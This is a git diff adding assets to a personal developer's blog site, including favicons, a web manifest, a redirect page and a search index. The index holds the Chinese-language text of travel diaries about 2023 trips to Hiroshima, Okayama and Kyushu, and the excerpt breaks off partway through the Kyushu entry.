b/assets/images/declaration_for_google_search_result.png new file mode 100644 index 000000000..5ac8a51f3 Binary files /dev/null and b/assets/images/declaration_for_google_search_result.png differ diff --git a/assets/images/medium-status.png b/assets/images/medium-status.png new file mode 100644 index 000000000..cee8c67cd Binary files /dev/null and b/assets/images/medium-status.png differ diff --git a/assets/images/samghata.jpg b/assets/images/samghata.jpg new file mode 100644 index 000000000..c1e4be0bd Binary files /dev/null and b/assets/images/samghata.jpg differ diff --git a/assets/images/tst.png b/assets/images/tst.png new file mode 100644 index 000000000..8d86c5329 Binary files /dev/null and b/assets/images/tst.png differ diff --git a/assets/images/zhgchgli.jpg b/assets/images/zhgchgli.jpg new file mode 100755 index 000000000..2b82f64df Binary files /dev/null and b/assets/images/zhgchgli.jpg differ diff --git a/assets/images/zmarkupparser.jpeg b/assets/images/zmarkupparser.jpeg new file mode 100644 index 000000000..444208f15 Binary files /dev/null and b/assets/images/zmarkupparser.jpeg differ diff --git a/assets/images/zmediumtomarkdown.jpeg b/assets/images/zmediumtomarkdown.jpeg new file mode 100644 index 000000000..1bf90fcef Binary files /dev/null and b/assets/images/zmediumtomarkdown.jpeg differ diff --git a/assets/images/zreviewtender.jpeg b/assets/images/zreviewtender.jpeg new file mode 100644 index 000000000..65885c6a4 Binary files /dev/null and b/assets/images/zreviewtender.jpeg differ diff --git a/assets/img/favicons/android-chrome-192x192.png b/assets/img/favicons/android-chrome-192x192.png new file mode 100644 index 000000000..9e49f471a Binary files /dev/null and b/assets/img/favicons/android-chrome-192x192.png differ diff --git a/assets/img/favicons/android-chrome-512x512.png b/assets/img/favicons/android-chrome-512x512.png new file mode 100644 index 000000000..c27eea30f Binary files /dev/null and b/assets/img/favicons/android-chrome-512x512.png differ diff --git a/assets/img/favicons/apple-touch-icon.png b/assets/img/favicons/apple-touch-icon.png new file mode 100644 index 000000000..2f2f1cd5d Binary files /dev/null and b/assets/img/favicons/apple-touch-icon.png differ diff --git a/assets/img/favicons/browserconfig.xml b/assets/img/favicons/browserconfig.xml new file mode 100644 index 000000000..54217f7c0 --- /dev/null +++ b/assets/img/favicons/browserconfig.xml @@ -0,0 +1 @@ + #da532c diff --git a/assets/img/favicons/favicon-16x16.png b/assets/img/favicons/favicon-16x16.png new file mode 100644 index 000000000..a0d30d67c Binary files /dev/null and b/assets/img/favicons/favicon-16x16.png differ diff --git a/assets/img/favicons/favicon-32x32.png b/assets/img/favicons/favicon-32x32.png new file mode 100644 index 000000000..f1990d2a9 Binary files /dev/null and b/assets/img/favicons/favicon-32x32.png differ diff --git a/assets/img/favicons/favicon.ico b/assets/img/favicons/favicon.ico new file mode 100644 index 000000000..85ef2fa6f Binary files /dev/null and b/assets/img/favicons/favicon.ico differ diff --git a/assets/img/favicons/mstile-150x150.png b/assets/img/favicons/mstile-150x150.png new file mode 100644 index 000000000..4a5d941bb Binary files /dev/null and b/assets/img/favicons/mstile-150x150.png differ diff --git a/assets/img/favicons/safari-pinned-tab.svg b/assets/img/favicons/safari-pinned-tab.svg new file mode 100644 index 000000000..28be7673f --- /dev/null +++ b/assets/img/favicons/safari-pinned-tab.svg @@ -0,0 +1,73 @@ + + + + +Created by potrace 1.14, written by Peter Selinger 2001-2017 + + + + + diff --git a/assets/img/favicons/site.webmanifest b/assets/img/favicons/site.webmanifest new file mode 100644 index 000000000..3e1ee84a2 --- /dev/null +++ b/assets/img/favicons/site.webmanifest @@ -0,0 +1 @@ +{ "name": "ZhgChgLi", "short_name": "ZhgChgLi", "description": "ZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活", "icons": [ { "src": "/assets/img/favicons/android-chrome-192x192.png", "sizes": "192x192", "type": "image/png" }, { "src": "/assets/img/favicons/android-chrome-512x512.png", "sizes": "512x512", "type": "image/png" }], "start_url": "/index.html", "theme_color": "#2a1e6b", "background_color": "#ffffff", "display": "fullscreen" } diff --git a/assets/index.html b/assets/index.html new file mode 100644 index 000000000..d237606f0 --- /dev/null +++ b/assets/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/assets/js/data/search.json b/assets/js/data/search.json new file mode 100644 index 000000000..9799867e7 --- /dev/null +++ b/assets/js/data/search.json @@ -0,0 +1 @@ +[ { "title": "遊記 2023 廣島岡山 6 日自由行", "url": "/posts/31b9b3a63abc/", "categories": "Z, 度旅行遊記", "tags": "生活, japan, travel, hiroshima, okayama", "date": "2024-01-09 21:27:40 +0800", "snippet": "[遊記] 2023 廣島岡山 6 日自由行2023 廣島、岡山、福山、倉敷、尾道 6 日遊前言8 月底離職後隨即在 9 月出發「 九州 10 日漫步獨旅 」休息了快三個月之後,原本預計 11 月中上班,新工作到職後就要展開新專案、新公司無多特休,一切要照基本勞基法重新累積年假,因此考慮再出去玩一次 (10 月底開始計劃)。地點 — 廣島(岡山)上次去 長崎路上的 意外小插曲 — 獲得一個( ...", "content": "[遊記] 2023 廣島岡山 6 日自由行2023 廣島、岡山、福山、倉敷、尾道 6 日遊前言8 月底離職後隨即在 9 月出發「 九州 10 日漫步獨旅 」休息了快三個月之後,原本預計 11 月中上班,新工作到職後就要展開新專案、新公司無多特休,一切要照基本勞基法重新累積年假,因此考慮再出去玩一次 (10 月底開始計劃)。地點 — 廣島(岡山)上次去 長崎路上的 意外小插曲 — 獲得一個( 廣島縣 )三原市おみやげ 加上上次去長崎參觀了核爆紀念館、和平公園,想說 廣島 的也可以去看看。還有身邊朋友也都推薦 廣島 ,有世界遺產 — 嚴島神社、牡蠣、瀨戶內海、尾道、兔島…加上同樣是獨旅,不考慮大城市及已經去過的城市、希望交通方便, 廣島 就是一個很好的選擇!日期 — 11/13–18原本預計 11/20(一) 上班(後來延到 12/1),扣掉最後一天緩衝休息,回程日期就訂在 11/18 (六) 了。去程日期,原本 11/12 與朋友有約,因此先抓 11/13(週一) 出發;但因還沒上班安排都很彈性,主要看機票價格何時來回比較低價決定。一波三折❌ 要去廣島最直覺的就是廣島機場進出,查了一下條件非常不好: 時間:晚去(17:20)早回(09:30);並且週六沒有飛,週五(11/17)就要回來。 地點:需要搭交通車(約 55 分鐘),去程落地後只能搭 21:40 or 22:20(末班) 到車站都 22 or 23 點了,時間很晚。 價格:~=$17,000,太貴。❌ 福岡進出+新幹線,依然不方便: 時間:去(16:30)、回(10:55),也是晚去早回,但好一點。 地點:交通方便,但要再加上新幹線到廣島大概 1 個半小時。 價格:~=$12,000、如果要晚回(20:35) 要 ~=$17,000 或早上 06:50 的飛機。❌ 後來才查到去廣島,可以虎航岡山進出,去的動力普通: 時間:去(11:10)、回(15:25),時間很讚。 地點:岡山機場同樣要搭交通車,但是落地時間早,時間充裕。 價格:含 +20 KG 託運來回約 ~= $14,000。因 9 月才去過「 九州 10 天 」散財,機票價格如果沒辦法壓在 1 萬上下,去的動力不大,因此幾乎要放棄此行了。✅ 虎航岡山冬遊記活動 ,出發:10/31 無聊滑 Facebook 時剛好看到有大大在「 日本自由行討論區 」社團 PO 文航空公司優惠降價活動,看到 虎航 11/3 10:00 ~ 11/6 23:59 購票有優惠;所幸就抱著隨遇而安的心態,有買到優惠就去沒有就算了。11/3 一早起來很幸運地有買到,去回日期最佳(11/13–18)、航班時間最佳、價格最佳的機票,那就沒有不去的理由了! 去(11:10)、回(15:25),含來回 20KG 託運+選位+雜費: $7,012準備工作機票買好之後,距離出發也只剩下一週,如火如荼的直接開始準備工作。預計最想去的有宮島、尾道、倉敷美觀地區、岡山城;所以直接以廣島為基地,可以住比較多天,接近回程再住岡山一帶。行JR Pass 岡山& 廣島 & 山口地區鐵路周遊券 (¥ 17,000,剛好遇到 2023/10 月底後漲價。)查岡山廣到車站單程 ¥6,460,來回 ¥12,920;再算上去宮島、尾道、吳市…來回,應該不虧;直接買 JR Pass 最方便。住 (5 晚)東橫INN 廣島站棒球場前 (3 晚) 價格:$4,612,$1,537/晚,單人禁菸房 交通:從地圖上看走路距離蠻近的(實際大概要走 15 分鐘,因為在施工、而且要跨越平交道)不是熱鬧的地方,在 Mazda Zoom-Zoom 球場外,現在沒有比賽,整條路很冷清。東橫 INN 一如既往地 CP 值很高,價格跟環境都是這次住宿最優秀的。APA飯店 廣島站前大橋 (1 晚) 價格:$2,501,1 晚,單人禁菸房 地點:離廣島車站比較近,但實際走起來也不好走,要過大馬路、過橋(約 10 分鐘);從上一個住宿地點走來大約 15 分鐘,算方便。因東橫 INN 訂不到四晚,只能一晚住 APA 飯店。利夫馬克斯岡山倉敷站前飯店 Livemax (1 晚) 價格:$3,263,1 晚,單人禁菸房 地點:跟地圖差不多,就在倉敷站外,走路大概五分鐘就到了,很方便。會找到倉敷是因為岡山在找住宿的時候已經訂不到價格可以接受的飯店了,只能就近往 JR 沿線找,因為倉敷也有交通車回岡山機場;就決定找倉敷附近的飯店了。這家也是倉敷唯一還有房間、地點方便、價格還可以接受的飯店。樂原本計畫如下: 11/13:逛街、吃廣島燒 11/14:宮島、廣島市區:嚴島神社、紅葉谷公園、宮島纜車 -> 獅子岩展望台、原爆圓頂、平和紀念公園、原爆紀念館、紙鶴塔(廣島塔) 11/15:尾道、千光寺 11/16:吳市、廣島市區(同 11/14)、廣島城 11/17:岡山、倉敷:岡山後樂園、岡山城、吉備津神社、倉敷美觀地區、倉敷 Outlet、阿智神社 11/18:倉敷 Outlet、回程兔島車程太遠、不方便,只列入參考名單。Go! Flight Tracker、iPhone Suica 使用、Visit Japan 預入境申請…之前文章有提過,這篇就不多贅述了。Day 1 出發早上 11:10 起飛,早上起來慢慢出門。從北車搭機捷前往桃園機場第一航廈,到報到櫃檯大約 08:50 分。沒什麼人,很快就完成報到+出境; 一航 沒什麼吃的,隨便買了頂呱呱+咖啡就去候機了。候機時還不怎麼餓,所以沒吃買的東西。11:07 起飛,14:11 抵達 OKJ (岡山桃太郎機場);中間餓的時候想吃東西發現虎航是不允許帶自己東西上飛機吃的(樂桃則沒特別規定),所以就乖乖地忍著,想說下飛機入境前在角落吃完才入境。岡山機場超級小,一路跟著人群走著走著就直接入境出關了,根本沒角落可以偷吃東西;因為頂呱呱有雞肉怕有防疫問題,所以整包直接上交給海關銷毀。約 14:40 就完成入境+提行李出來了(超快)後來查了一下航班,岡山機場飛機航班超少,國際線可能一天才一班,所以都沒人,只有同航班的人;海關、防疫犬會逐個檢查,但還是很快!一出來就直接上機場交通車,可能因為飛機航班太少,照班表要等到 16:10 才有交通車道岡山車站;但出機場就有加開的交通車可以直接上(滿人即發車、會再有下一班),很貼心的為大家節省時間!下車後找到手扶梯往上前往岡山車站,先去換 JR Pass,找到綠色& 旁邊有寫「 EXPRESS予約、5489 お受取 」的機器兌換 JR Pass 票券。之前在網路找 兌換教學 ,是說要點選藍色「予約したきっぷのお受取り」但實際怎麼試、照步驟走,在掃描 QR Code 時都會出現「QR Code 無效」錯誤,改用輸入訂單編號也失敗。最後在一群台灣人互相多番嘗試下才發現要用左下「 QRコードの読取り 」黃色按鈕兌換,點擊後直接掃描 QR Code 就可以了。(猜測是 JR 機器有改版)機器會吐兩張說明書、 一張 JR Pass(圖中 ✔ 那張票) ,也可在拿到 JR Pass 後再放入 完成劃位 , 進出站都是使用 JR Pass 那一張票 ,劃位的票僅供參考座位及時間,不能用那張票出入站。實在太餓了,都沒吃東西,先去超商買些東西果腹,因此買後幾班的 JR。約 16:45 抵達廣島車站。先去飯店 Check-in 放行李再出來覓食,沒有棒球比賽的時候這條路好冷清,對面就是鐵路,路上沒什麼店,但還好有一家很大的路面店 Lawson。廣島御好物語 站前廣場回廣到車站吃廣島燒「 廣島御好物語 站前廣場 」在廣島車站出來右手方 6 樓 (Ekie 百貨公司隔壁);一出電梯就覺得好特別,這一整層全都是廣島燒店家,可以選擇自己喜歡的店家就坐。點了一個加年糕的廣島燒(裡面是炒麵)吃,覺得味道普普、裡面有麵和年糕,吃完很飽。回飯店路上買了個宵夜回去吃,這時間廣島的晚上好冷,大約 4 度而已。房間開箱。窗簾拉開就能看到外面的鐵道(約 10 條線,所以過平交道要快);房間缺點是火車經過會有摳摳的聲音。Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線這次出行直接帶了 Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線 組合,自從換 iPhone 15 後基本上全設備都上到 Type-c 口了;出門旅行只要帶上 Type-c 充電線就能解決一切。Allite A1 65W 氮化鎵快充 支援單口 65W、雙口 45W+18W 快速充電;體積小可隨身攜帶,在外看到可充電的插頭直接插上續力;回飯店後就一口充行動電源,一口充手機、手錶、iPad 或 Switch,方便又快速。Allite 液態矽膠快充線 (1.5m) 長度很夠,可以直接行動電源放包包接線出來使用,液態矽膠材質與一般塑膠不同,除了親膚之外、還更容易彎折好收納、不會凹來凹去。這次出行的最佳充電拍檔。Day 2 宮島(嚴島神社)、紅葉谷公園、獅子山展望台、原爆圓頂、平和紀念公園宮島一早搭乘 JR 前往宮島口站,出站往碼頭方向走就能找到渡輪站;JR Pass 有包含宮島渡輪船票,不需再買船票,但要額外付 宮島訪問稅(¥100) ,會有站務人員指引購買訪問稅的票。 另外也可搭乘廣電到宮島口,但我記得時間比較久。渡輪約 10 分鐘就能抵達宮島,渡輪很平穩也不會有柴油味,快抵達時就能遠遠到海上鳥居!上島後直接往海上鳥居方向走,在路上岸邊斜斜著拍也很美而且比較沒人。島上也有很多野生的鹿,會亂咬東西 XD。經過嚴島神社後先前往宮島纜車上獅子岩展望台。需搭乘兩段纜車才能到獅子岩展望台,先直攻纜車的好處是幾乎沒人(山下嚴島神社一堆人),第一段是小纜車最多 6 人(發車很密集、距離較長),第二段是比較大的纜車(沒記錯是 15 分鐘一班,可容納較多人(約 20 人),距離很短)。山頂可以鳥瞰整個瀨戶內海,吹吹風看看小島,很愜意。嚴島神社就是直接架在海邊上的,水很乾淨,走起來很清幽;也可以排隊從正面拍攝海上鳥居的照片。這個季節的潮汐退潮時間是凌晨 3 點或下午 5 點,這次就沒機會看到退潮的巖島神社跟鳥居了。午餐當然要吃牡蠣, 牡蠣屋 的牡蠣飯、炸牡蠣,各 300 多台幣,好吃又便宜,牡蠣富翁!宮島纜車、嚴島神社門票。買了一座小的嚴島神社鳥居回家放著,很可愛!原爆圓頂、平和紀念公園下午時分回到廣島市區,到原爆圓頂、和平紀念公園走走。秋季的廣島,有銀杏的黃與楓葉的紅還有些綠葉的點綴加上秋季的涼風颼颼,緬懷廣島曾經發生的一切。 在平和紀念公園遇到很多日本國中小戶外教學,有老師帶著講解歷史,深刻覺得日本民族對歷史傳承教育的重視。回飯店接近傍晚時分就回到飯店休息,因為穿太少,外面實在太冷。晚餐直接買了回飯店路上經過的「 炭火焼肉 敏 猿猴橋店 」的外帶燒肉餐盒;這家店起初會吸引我的目光是因為在店門口有放幾個炭爐,走過去非常溫暖,停下來看了下招牌發現有提供外帶餐盒,就走進去了!另一個新奇的事是他的餐盒是有自熱功能,回飯店要吃的時候拉一下線,就會開始自己加熱冒熱蒸汽;什麼時候吃都像剛出爐熱熱的,很貼心。今日超商宵夜,熱狗、炸雞、Strong Zero、還買了瓶號稱喝完很好睡的養樂多 Y1000 試試看。(但今天走了一整天本來就很好睡)Day 3 尾道、千光寺、福山、鞆之浦早上搭乘新幹線前往三原,再從三原轉車到尾道站。時間沒有抓好,三原換尾道的時候乾等了 30 幾分鐘。往南出口走正門出尾島站。天氣好加上溫度適宜,出尾島站之後就一路往千光寺走;走山的那側有像走在九份山城的感覺,路途不太好走,很多樓梯跟陡坡往上,往另一側看就是尾道內海,風景不錯。另一個選擇是直接走大馬路,走到看到千光寺纜車搭乘的招牌,轉進去就能直接搭纜車上到千光寺了。千光寺的風景很好,可以鳥瞰整個尾道市區與遠方的尾島大橋。請了一尊可愛的小地藏王回家放著(可以選擇寫下願望放在千光寺供養或是帶回家紀念):參拜完千光寺,往下走就是貓之細道。看早期網路文章都以日本侯桐介紹貓之細道,但今年實際走訪覺得不太一樣;貓之細道是千光寺下山的一小段小徑,沒看到一隻野貓,沿路的貓咪咖啡廳幾乎都沒營業了,走下來有點落寞的感覺,最後找了一家還有在營業的咖啡廳「 ブーケ ダルブル 」喝杯咖啡休息一下。店的地理位置不錯,但走上來的途中同樣散發著落寞雜草叢生的感覺,店裡位子不多、餐點選擇也不多;但老闆很熱情+店貓很黏人會跑來你旁邊坐著貼貼。走回山下大街的路上遇到一個當地很寂靜的神社。回尾道站的路上改走裡面的商店街,午餐就吃了有名的尾道拉麵 — 「 Onomichi Ramen Shoya 」。尾道拉麵(台灣人創始的)蠻特別的,漂浮著滿滿白花花的豬背脂、還有筍乾。悠閒晃回尾道站後,由於時間還很早,臨時決定前往鄰近的福山市。 時間又沒算好,又多乾等了 30 分鐘才等到車,要來尾道的朋友記得抓好時間。福山福山站後站可以看到福山城,沒有特別進去,只遠遠的拍張照就走了。鞆之浦回到福山站前站,就可以看到往「鞆之浦」的公車搭乘指示,本來看地圖覺得鞆之浦很難到達,因為在海邊小鎮,不得不佩服日本的觀光與交通指示,非常清楚。 p.s. 行前對鞆之浦沒有特別做功課,算是臨時起來走走的 對鞆之浦的了解只有崖上的波妞取景地、日本第一個現代港都、曾經是坂本龍馬談判之地、歷史控必訪上車後一路坐到底站就是鞆之浦囉(車程時間約:40 分鐘)仙醉島直接參考當地的旅遊地圖,想說先去仙醉島看看風景。下車後直接往回走到「福山市營渡船場」搭乘渡輪前往仙醉島(約 10 分鐘)。船身古色古香,一種突然成為航海王的感覺,路程雖短,但是能鳥瞰瀨戶內海及仙醉島、吹吹風,很舒服。上島後沒看見任何路人,島上一片荒涼,原本的鞆の浦海水浴場遊客中心也已經關閉準備拆除、往山上其他海岸的步道也都因落石封閉;只剩路口還有一家風呂飯店還有營業。鞆の浦海水浴場只剩下一大片寧靜的海灘,只有偶爾能聽到一群海鴨子的嬉戲聲。(我也是第一次看到鹹水鴨,不是鹹水雞)大約只停留了 15 分鐘,沒地方可去就等待渡輪回去了;這地方雖然荒涼但還是有販賣機!回程路上近看了遠方的弁天島,一個孤單矗立在海中間的小島及鳥居。鞆之浦回到鞆之浦時間也接近傍晚時分,晃晃悠悠走到港口看常夜燈與日式城鎮風景,路上有需多人及攝影愛好者都已經坐在港口旁的階梯、架好相機,等待日落的到來。鞆之浦有名的滋補養身保命酒,路上有濃濃的藥酒味;因為還要趕路回廣島,所以就趁還沒天黑之前搭乘公車回福山了。回福山後直接跳上往廣島的列車,告別了這座寧靜平和的城市,晚餐依然直接買回飯店路上的「 炭火焼肉 敏 猿猴橋店 」外帶燒肉餐盒。另外多加了兩顆超商的炸牡蠣(1顆100日元而已)。宵夜依然是 Y1000+超商熱食。Day 4 吳市、廣島市區最後巡禮(廣島和平紀念館、廣島城、縮景園)一早先 Checkout 東橫 INN 拖著行李前往晚上要下榻的 廣島 APA 飯店。寄放好行李後,就走回廣島車站搭乘前往吳市(Kure)的列車(約 50 分鐘),快到吳市的時候從右邊窗戶往外看有一種回到福隆、宜蘭路線火車的感覺,左邊山右邊臨海,風景愜意。出站後可以去觀光案內所,拿吳市的旅遊指南。(覺得設計的很好!)依照指標就能從車站出來的空橋一路走到港口的大和博物館與海上自衛隊吳史料館。走到底的時候先不要急著下空橋,從空橋上能很好的補捉海上自衛隊吳史料館 — 潛水艦艇。 給未來要來吳市、廣島的朋友作行程安排參考,吳市也可以坐船去宮島及回到廣島,本來有想坐船回廣島,但時間沒搭上,這次就先放棄了。大和博物館裡面有一艘能近距離 360 度觀看的大和戰艦、細節幾乎拉滿,還有戰艦、戰爭的歷史、戰鬥機、大砲…等等,戰艦迷與軍事迷不容錯過;另外剛好遇到特戰,展出日本航母設計、發展史,連設計手稿有。海上自衛隊吳史料館離開大和博物館之後往後面走就是海上自衛隊吳史料館,可以免費入內參觀。博物館內部主要展示潛水艇內部生活環境、工作環境、引擎、水雷,還有歷史。最後最特別的是真的能進入潛水艇,參觀真實的機艙、宿舍、船長室、駕駛室及使用潛望鏡看外部環境。吳市商店街逛完博物館也接近中午時分準備覓食,本來想直接吃海軍咖哩,但查了一下評價好像沒什麼特別的,就先走回吳市商店街再做決定。(其實蠻遠的,再反方向,走路大概花了快 30 分鐘)最後選擇吃吳市冷面,類似涼麵+豚骨叉燒,麵會冰鎮過,味道爽口,麵量偏多,可以點小份的就好。吃飽準備回車站,路上順路也買了「福住炸紅豆蛋糕」味道偏甜偏油,吃起來很普通;另外也順路買了海軍咖啡、咖哩當伴手禮( subarucoffee_store/ ,店員很親切熱情)。一路再走回吳站,搭列車回廣島。回廣島後最後的廣島市區巡禮,廣島車站出來就有三條路線的觀光巴士可供選擇搭乘(包含在 JR Pass 內),可以依照自己想去的方向選擇。我想先去縮景園(廣島美術館),所以選擇搭乘紅色楓葉號。縮景園縮景園就在廣島美術館後面,買票的時候也可以買縮景園+廣島美術館套票。縮景園是個很別緻的小庭院,裡面有很多景觀的縮小造景,例如楓葉、小橋流水、竹林、松柏、山丘. . .等等,走一走看看風景挺不錯的。廣島城下一站漫步到廣島城,廣島城已在核爆中消失,目前的廣島城是後來復建的,整體很新,高度也不高,天守閣看不太到什麼風景。平和紀念館、平和紀念公園最後一站再次回到平和紀念公園,旁邊就是紙鶴塔(高度不高,沒進去)。剛好遇到下午時香取慎五吾來弔念。排隊買票參觀和平紀念資料館,裡面有非常豐富的核爆過程、歷史,還有資料照片、物件;整體參觀下來非常沈重震撼。公園的另一邊還有祈念館,太沈重就沒進去了。晚間時分下起毛毛細雨,搭配著剛看完慘痛歷史教訓的心情,回到廣島車站。隨手在車站買了些伴手禮與車站的外帶便當就回飯店休息了,今天還要洗衣服呢。APA 真的隨處可見社長,社長咖哩、社長水、社長的書…房間密度也是一如往常的密集,一層 60 幾間。房間內一樣不大、設施齊全、電子設施也很方便(房間內就能看到洗衣房動態、電視能直接 Airplay)。洗衣服的時候遇到大麻煩,大排隊,整棟 1000 多個房間只有 7 台洗衣機,最後抓準時機,洗衣機快結束時下樓排隊,最後在 11 點多才洗好烘好衣服(還沒乾,回房間繼續晾)。弄到這麼晚,今天吃宵夜很合理!還是 Y1000 + 牛奶 + 超商熟食。Day 5 倉敷、岡山一早風光明媚,天氣晴朗;Chekout 飯店、跟廣島說再見,前往倉敷的下塌飯店寄放行李(也能先寄放在岡山,因為去倉敷還是要先到岡山)。倉敷美觀地區、阿智神社第一站先來到阿智神社,地勢較高能鳥瞰整個倉敷地區,沒什麼人很清幽。阿智神社不大但有名的有繪馬亭、如果抽到不好的籤可依照自己的生肖綁在對應的獸首下、還有求良緣的 花纏守 :花纏守 ,感謝 Angie 提供。美觀地區不大,但很清幽好逛,遊船因為當日傳票已售罄就沒機會體驗了,但在周邊巷弄走走逛逛也很舒服。午餐吃了有名的 三宅商店 咖哩套餐,咖哩濃郁搭配牛蒡絲很好吃。吃完繼續逛,逛累了跑去吃 パーラー果物小町 (特色是店員會穿著大正時代的女僕裝)水果聖代,岡山晴王葡萄+水果冰淇淋,葡萄甜到發麻。伴手禮可以買 GOHOBI 倉敷特產膠原蛋白岡山水果果凍。岡山後樂園點燈、岡山城伴隨著夕陽搭乘列車回到岡山站,出站直接搭乘路面電車就能到岡山城周遭。第一站先去岡山後樂園,晚上點燈的感覺很是浪漫美麗。 岡山後樂園+岡山城每年 11 月中下旬會有點燈活動。順路去隔壁的岡山城看夜景,在楓葉加燈光的映照下別有一番風味。晚餐方便解決,就地吃了一風堂拉麵,再一路漫步回岡山站(路上也有點燈,很美),回倉敷前還有點時間逛了一下激安殿堂(唐吉訶德),沒什麼伴手禮,還是要去岡山車站或百貨公司才有賣伴手禮…回倉敷已是晚間時分,天氣寒冷,路上的人也都急匆匆地要趕回家,倉敷站後站的 Outlet 也已關門。才發現這家飯店沒有 24 小時櫃檯,還好沒有太晚回來!但這家飯店的房內設施很齊全,微波爐、熱水壺、眼鏡清洗機都有。在日本的最後一晚只簡單吃了超商雞塊+Y1000 跟多買一瓶白桃草莓牛奶當宵夜,就沈沈睡去。Day 6 岡山、返程一大清早天剛亮,就 Checkout 出門前往岡山。 預計由岡山搭乘機場交通車回機場, 倉敷也有直達岡山機場的交通車但班次較少( 詳細請參考官網 ) ,昨天岡山也還沒逛完,就打算直奔岡山再從岡山回去了。吉備津神社底搭車站後直奔吉備津神社參觀(車程約 30 分鐘),出車站大約要再走 15 分鐘才會抵達,有個歷史悠久的檜木長廊,及銀杏與歷史建築,很好走走參拜。路上還有另一個在山腳另一邊的吉備津彥神社順路也可以一同參拜,但因為j時間不夠所以這次就跳過了。岡山 AEON回岡山車站後去附近的 AEON 百貨買買伴手禮、逛逛街,吃個午餐天婦羅蕎麥麵,就準備去排機場交通車回岡山機場了。 排交通車的人很多,但不用緊張上不了車,因為會有加開車次保證大家都能到機場。岡山桃太郎機場 (OKJ)機場有點年代、跟熊本機場差不多小,約 13:50 就完成安檢+報到+出境,距離起飛時間 15:25 還有快 2 個小時。機場班次超少,就是只有同個航班的人,大概只花不到 15 分鐘就完成報到+掛行李,更特別的是岡山機場小到 X 光機是放在機場大廳的,大廳過完 X 光貼上封條,再去報到(如果打開行李會被要求重新過安檢)。掛完行李在航站樓(總共2樓而已)晃了一下,有一個觀景台可以瞭望,還有咖啡廳跟幾家餐廳可以吃東西,等累了買了一顆白桃冰淇淋大幅來吃。安檢也很快,但岡山機場如果穿靴子是要脫下來安檢的,這點比較麻煩。遇到班機延誤,在候機室等啊等,最後 16:24 才起飛(延誤快一小時)。 再見,岡山、再見,廣島。伴手禮開箱插曲繼上次「 2023 九州 10 日自由行獨旅 」後面幾天其實有一種說不出的孤獨感,一是一個人去陌生的地方、二是不會講日文 10 天幾乎沒講話;那種孤獨感依然記憶猶新,所以並沒有很想再去,是因為即將要工作加上剛好有買到超級特價的機票才出發。第一天再換 JR Pass 時剛好卡住、剛好遇到一群同樣卡住的台灣人、剛好跟前面的台灣人輪流試才成功、剛好她也是去廣島、剛好她進站卡住提醒了她、剛好都買到下下班列車、剛好她買自由座、剛好都想先去超商、剛好是同個業界所以很有話題,剛好都是一個人去,於是第一天就組團一起走完相同的行程了。彼は Angie です! 意想不到的一個人去兩個人回。🙆‍♂️🙆‍♀️ 很多行程、景點跟時間安排都是 Angie 提供的資訊,如果是本來我自己走可能就會亂走或錯過,然後又孤獨的狂走完 6 天。— — —推薦最後再次推薦 Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線 絕對是出門旅行的必備神器,充電頭小巧功率高速度快、充電線長又好收納不會像一班的線材難以彎折甚至怕斷裂。Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線更多遊記 [遊記] 2023 九州 10 日自由行獨旅 [遊記] 9/11 名古屋一日快閃 [遊記] 2023 東京 5 日自由行 [遊記] 2023 京阪神 8 日自由行有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "遊記 2023 九州 10 日自由行獨旅", "url": "/posts/d78e0b15a08a/", "categories": "Z, 度旅行遊記", "tags": "生活, japan, kyushu, fukuoka, kumamoto", "date": "2023-10-04 12:46:37 +0800", "snippet": "[遊記] 2023 九州 10 日自由行獨旅九州 10 日自由行 福岡、長崎、熊本 走馬看花紀錄前言8 月底正式離開待了快 3 年的 Pinkoi;原本就有想離開的念頭,上半年時想說把假期放一放,去外面透透氣,回來再看情況,於是和朋友去了「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」和同事去了「 [遊記] 2023 東京& 🇯🇵二次著陸 」;但回來之後反而更想真正跳脫,...", "content": "[遊記] 2023 九州 10 日自由行獨旅九州 10 日自由行 福岡、長崎、熊本 走馬看花紀錄前言8 月底正式離開待了快 3 年的 Pinkoi;原本就有想離開的念頭,上半年時想說把假期放一放,去外面透透氣,回來再看情況,於是和朋友去了「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」和同事去了「 [遊記] 2023 東京& 🇯🇵二次著陸 」;但回來之後反而更想真正跳脫,剛好手上的事也告一段落,就鼓起勇氣跨了出去,離開舒適圈,尋找下一個新挑戰!「 [遊記] 9/11 名古屋一日快閃 」純屬意外,如文內所說比較像行軍而不是放鬆的旅行。趁著難得的空檔再去探索一次日本,原本的計畫是找同樣在待業的朋友一起去 🇰🇷 釜山 ➡️ 🇯🇵 福岡 ➡️ 🇯🇵 熊本 的路線 ;韓國去熊本回,途中釜山到福岡可以搭乘 新山茶花號 ,睡一晚 12 小時就到福岡,等於通勤+住宿全包。朋友 9 月就找到工作去上班了,一時之間也找不到新旅伴;一個人去不太想要大範圍移動,所以先捨棄了🇰🇷 釜山 ➡️ 🇯🇵 福岡 段,改成 🇯🇵 福岡 ➡️ 🇯🇵 熊本,福岡進熊本回的路線。10 月開始時間都很零散也想說 10 月要開始準備找新工作,所以出發日就訂在 9 月底 (9/17–9/26)。總結 / Retro一樣把總結、檢討寫在前面,在自由行社團看到一段話很喜歡:「自由行就是不斷地繳學費(花時間或金錢)學習,經驗多了會踩的坑也越來越少」。👍 生可樂、蜜桃水、全家的果汁飲料、秋雅梅酒,好喝! 日本職棒值得一看!買票記得買整排空或是靠走道的位子、便宜的位子就好 JR Pass 不一定省,但在九州真的有省到!至少省了 1,000 多台幣 獨旅也遇到很多有趣的事;例如途中幫助了日本家庭獲得三原市的伴手禮、好心的外國姊姊主動幫拍照、一起游船的路人台灣家庭、一起走完阿蘇的台積電大哥、在熊本幫忙路人家庭拍照結果又在機場遇到又再幫他們拍一次…等等 九州(不只熊本)到處都有熊本熊部長的蹤跡 整個九州都很空曠,都沒什麼人,名店吃的、景點幾乎不用排隊,很舒服 日文稍微進步一點,聽得懂數字(雖然還是要先用 Google 翻譯確認沒唸錯)、聽得懂要不要塑膠袋;知道結帳、這個、以上就好、現金、信用卡、免稅的祈使句(XXX お願いします) 完成遊記撰寫!👎 